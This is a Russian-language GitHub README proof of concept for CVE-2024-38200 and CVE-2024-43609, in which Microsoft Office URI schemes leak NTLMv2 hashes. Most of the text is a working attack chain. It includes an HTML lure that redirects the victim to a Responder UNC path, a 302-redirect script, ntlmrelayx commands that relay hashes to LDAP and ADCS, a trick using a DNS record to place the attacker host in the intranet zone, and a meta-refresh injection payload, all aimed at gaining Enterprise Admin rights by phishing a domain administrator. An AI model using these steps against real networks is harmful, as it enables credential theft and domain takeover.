passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - уязвимость раскрытия NTLMv2 в Microsoft Office
Перехват NTLMv2-хэша по HTTP не был исправлен. Значение NTLMv2-хэша по-прежнему можно получить по HTTP и ретранслировать на LDAP или ADCS. MSRC заявило, что «в представленном виде это выглядит частью текущего дизайна».
Даже если эта уязвимость будет исправлена, как указано в разделе Встроенная проверка подлинности Windows, значение хэша по-прежнему можно получить и ретранслировать с настройками по умолчанию.
Ранее был опубликован способ перехвата NTLMv2-хэшей по SMB с использованием схем URI Office. Основная идея была проста: отправить жертве URL следующего HTML-файла и перехватить NTLMv2-хэш по SMB. ССЫЛКА
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Это стало для меня отправной точкой. Если посмотреть на страницу Схемы URI Office, можно увидеть использование протокола https:// в схеме URI. Это указывает на то, что http:// также потенциально может использоваться. Перехват NTLMv2-хэша по HTTP более выгоден, чем по SMB, для проведения relay-атаки против контроллера домена Схема ретрансляции.
Когда я использовал URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx против Office 2016 MSO (16.0.4266.1001) 32-bit, появилось предупреждающее окно для защиты пользователя от вредоносной активности, но того же я не могу сказать про Microsoft 365 Office и Office 2019. Эти версии открывают удалённый файл Office без предупреждения и могут быть использованы для перехвата NTLMv2-хэша по протоколам SMB и HTTP.
Я обнаружил, что исправление для CVE-2024-38200 было применено некорректно. После публикации патча я протестировал уязвимость против Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) и Microsoft 365 MSO 2408 Build 16.0.17928.20114 и определил, что уязвимость по-прежнему может быть эксплуатирована, как показано ниже CVE-2024-43609.
Мы можем перенаправить HTTP-запрос на UNC-путь с помощью 302-редиректа, когда приложение Office отправляет запрос через схемы URI Office (например, ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). Скрипт uncredirect.py обрабатывает HTTP-запрос, отправленный со схемой Office URI, и перенаправляет его на UNC-путь, содержащий IP-адрес Responder. Это позволяет перехватить NTLMv2-хэш по SMB и обойти ограничение безопасности для URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py и responder.office.html пользователю-жертве.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Перехват NTLMv2-хэша по HTTP более выгоден, чем по SMB, для ретрансляции на LDAP. Когда файл запрашивается через Office URI, NTLMv2-хэш может быть получен по HTTP без перенаправления на UNC-путь с помощью 302-редиректа. Этот метод эксплуатации нельзя применить через Интернет, поскольку, если в свойствах обозревателя нет неверной конфигурации, NTLM-аутентификация по HTTP не будет выполняться для хоста за пределами корпоративной сети.
Тем не менее, я считаю, что это эффективный метод для relay-атаки и повышения привилегий.
Настройки «Свойства обозревателя» влияют на поведение NTLM-аутентификации приложений Office. Это видно на нескольких примерах. Предположим, мы используем формат URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx для перехвата NTLMv2-хэша.
Если на машине жертвы, присоединённой к домену, применяется одна из перечисленных ниже GPO, приложение Office выполняет аутентификацию автоматически.
Проверка подлинности пользователя в зоне «Интернет» установлено значение Автоматический вход с текущим именем пользователя и паролемМестная интрасеть добавлена подсеть или диапазон IP-адресов (например, 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Надежные узлы добавлена подсеть или диапазон IP-адресов (например, 192.168.*.* , 192.168.0-255.* , 192.168.1.7), и для параметра Проверка подлинности пользователя в зоне Надежные узлы установлено значение Автоматический вход с текущим именем пользователя и паролем
В случае применения одной из упомянутых выше GPO после того, как пользователь-жертва перейдёт по URI, приложение Office загрузит файл leak.docx с сервера атакующего, и NTLMv2-хэш будет получен, поскольку применённая GPO вызывает автоматическую NTLM-аутентификацию.
Пример сценария злоупотребления GPO:
Настроив Office URI с IP-адресом (например, ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), мы можем отправить URL office.html пользователю с правами администратора домена и ретранслировать перехваченный хэш на сервер LDAP(S) с помощью ntlmrelayx. ntlmrelayx создаст нового пользователя и добавит его в группу Enterprise Admins — достаточно лишь нажать кнопку «Открыть».
Примечание:
Сайты, добавленные через GPO, можно перечислить с помощью следующих разделов реестра.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Если ни одна из упомянутых выше GPO не применена, NTLM-аутентификация не будет выполняться автоматически. Однако если добавить DNS-запись типа A и использовать её в Office URI, Windows будет рассматривать имя хоста как часть зоны интрасети. Таким образом, NTLMv2-аутентификация происходит автоматически, и обычный пользователь может повысить привилегии без необходимости в неверно настроенной GPO. Любой пользователь домена со стандартными привилегиями может добавить несуществующую DNS-запись поэтому эта атака работает с настройками по умолчанию для пользователя домена.
office.html может обслуживаться с любого сервера, доступного пользователю-жертве (например, https://office.com/office.html). Я установил порт 8081 для Apache, потому что ntlmrelayx по умолчанию использует порт 80. В качестве альтернативы можно использовать параметр --http-port с ntlmrelayx. Введите добавленную запись в Office URI внутри файла office.html.
Запустите ntlmrelayx: python3 ntlmrelayx.py -t ldap://DC-IP-ADDRESS --escalate-user username
Отправьте URL файла office.html пользователю с правами администратора домена. Перед отправкой URL проверьте с помощью команды ping, что DNS-запись резолвится.
Когда пользователь-жертва перейдёт по URL, нажатия кнопки «Открыть» достаточно для перехвата NTLMv2-хэша. (без предупреждения!)
Перехваченный NTLMv2-хэш по HTTP ретранслируется на контроллер домена с помощью ntlmrelayx. В результате обычный пользователь может получить права DCSync и Enterprise Admins при конфигурации по умолчанию всего двумя кликами.
https://github.com/user-attachments/assets/6fdbcd57-16aa-4497-810e-18e0a251e890
https://github.com/user-attachments/assets/22b759f5-1ac2-45bd-8916-714c8a84b40f
Примечание-1: Если скомпрометирован сервер, присоединённый к домену, и на нём возможно запустить inveigh или ntlmrelayx, добавлять DNS-запись не требуется.
Ntlmrelayx: python3 ntlmrelayx.py -t ldaps://DC-IP-ADDRESS --http-port 8080
Office Uri: ms-excel:ofe|u|http://compromisedservername:8080/leak.xlsx
Примечание-2: Как альтернатива, хэш пользователя-жертвы может быть ретранслирован на ADCS вместо LDAP:
python3 ntlmrelayx.py -t http://adcs.unsafe.local/certsrv/certfnsh.asp -smb2support --template User --adcs --http-port 80
Эта PoC была проведена на Microsoft Office 2019 MSO Build 1808 (16.0.10411.20011) и Microsoft 365 MSO (Version 2403 Build 16.0.17425.20176).
Тот, кто работал с Windows в корпоративной интрасети, мог заметить, что доступ к корпоративным ресурсам в сети происходит без затруднений и во многих случаях не требует явного запроса учётных данных, кроме первоначального входа в домен Windows. Это справедливо для многих сервисов, таких как сетевые диски, интрасетевые веб-сайты и другие. Браузеры Microsoft — Internet Explorer и Edge — имеют концепцию доверенных зон: Интернет, Местная интрасеть, Надежные узлы и Ограниченные узлы. Каждая зона имеет свой уровень безопасности и связанные с ним ограничения. Например, для сайтов зоны интрасети Internet Explorer отключает XSS-фильтр, запускает ActiveX-плагины, выполняет автоматический вход и в целом имеет меньше мер безопасности, чем для интернет-сайтов. По умолчанию, когда веб-сервер содержит ресурс, защищённый NTLM-аутентификацией, Internet Explorer и Edge выполняют аутентификацию автоматически, если сайт находится в корпоративной интрасети или внесён в белый список Надежных узлов, соблюдая концепцию доверенных зон. Другие браузеры, такие как Mozilla Firefox и Google Chrome, также поддерживают автоматический вход NTLM. Chrome опирается на те же настройки, что и Internet Explorer; в случае Firefox эта конфигурация не включена по умолчанию и должна быть изменена вручную через about:config.
https://www.blazeinfosec.com/post/web-app-vulnerabilities-ntlm-hashes/
Для того чтобы удалённый хост прошел аутентификацию у вас, например, при переходе по UNC-пути, должны быть выполнены определённые условия. Главным образом, чтобы минимизировать вероятность утечки хэшей во внешние сети, такие как Интернет, ваша система должна попадать в зону «местная интрасеть». Самый простой способ удовлетворить это требование, когда у вас уже есть точка опоры во внутренней сети цели, — использовать NetBIOS-имя вашей системы. То есть, если вы находитесь на workstation1.contoso.com, следует использовать workstation1 в вашем UNC-пути, чтобы принудительно перевести его в зону местной интрасети.
https://www.mdsec.co.uk/2021/02/farming-for-red-teams-harvesting-netntlm/
Как уже упоминалось, изменения в свойствах обозревателя также влияют на поведение NTLM-аутентификации браузеров Edge и Chrome. Эти браузеры поддерживают автоматическую NTLM-аутентификацию, и Windows считает HTTP-соединение с NetBIOS-именем находящимся в зоне интрасети и выполняет NTLM-аутентификацию. Позже я понял, что, как показано в PoC, если создать DNS-запись и отправить пользователю URL с NetBIOS-именем (e.g., http://kali14/notexist.html ), можно перехватить и ретранслировать NTLMv2-хэш пользователя, если URL открыт в браузерах Edge или Chrome. Если ретранслировать NTLMv2-хэш привилегированного пользователя на LDAP(s) с помощью ntlmrelayx, можно повысить привилегии в домене с настройками по умолчанию.
Edge:
Chrome:
Вместо отправки ссылки пользователю для перехвата NTLMv2-хэша можно использовать HTML-инъекцию:
kali14<meta http-equiv="refresh" content="0; url=http://kali14/notexist.html">
Включать все локальные (интрасетевые) сайты, не перечисленные в других зонах в настройках узлов местной интрасети, чтобы заблокировать автоматическую NTLM-аутентификацию по HTTP. Данный параметр выбран по умолчанию. 
Примечание: Данный эксплойт предоставлен исключительно в образовательных и исследовательских целях. Автор не несёт ответственности за любое неправомерное использование или ущерб, причинённый в результате применения этого эксплойта. Несанкционированное использование этого кода в средах, где у вас нет явного разрешения, незаконно и неэтично.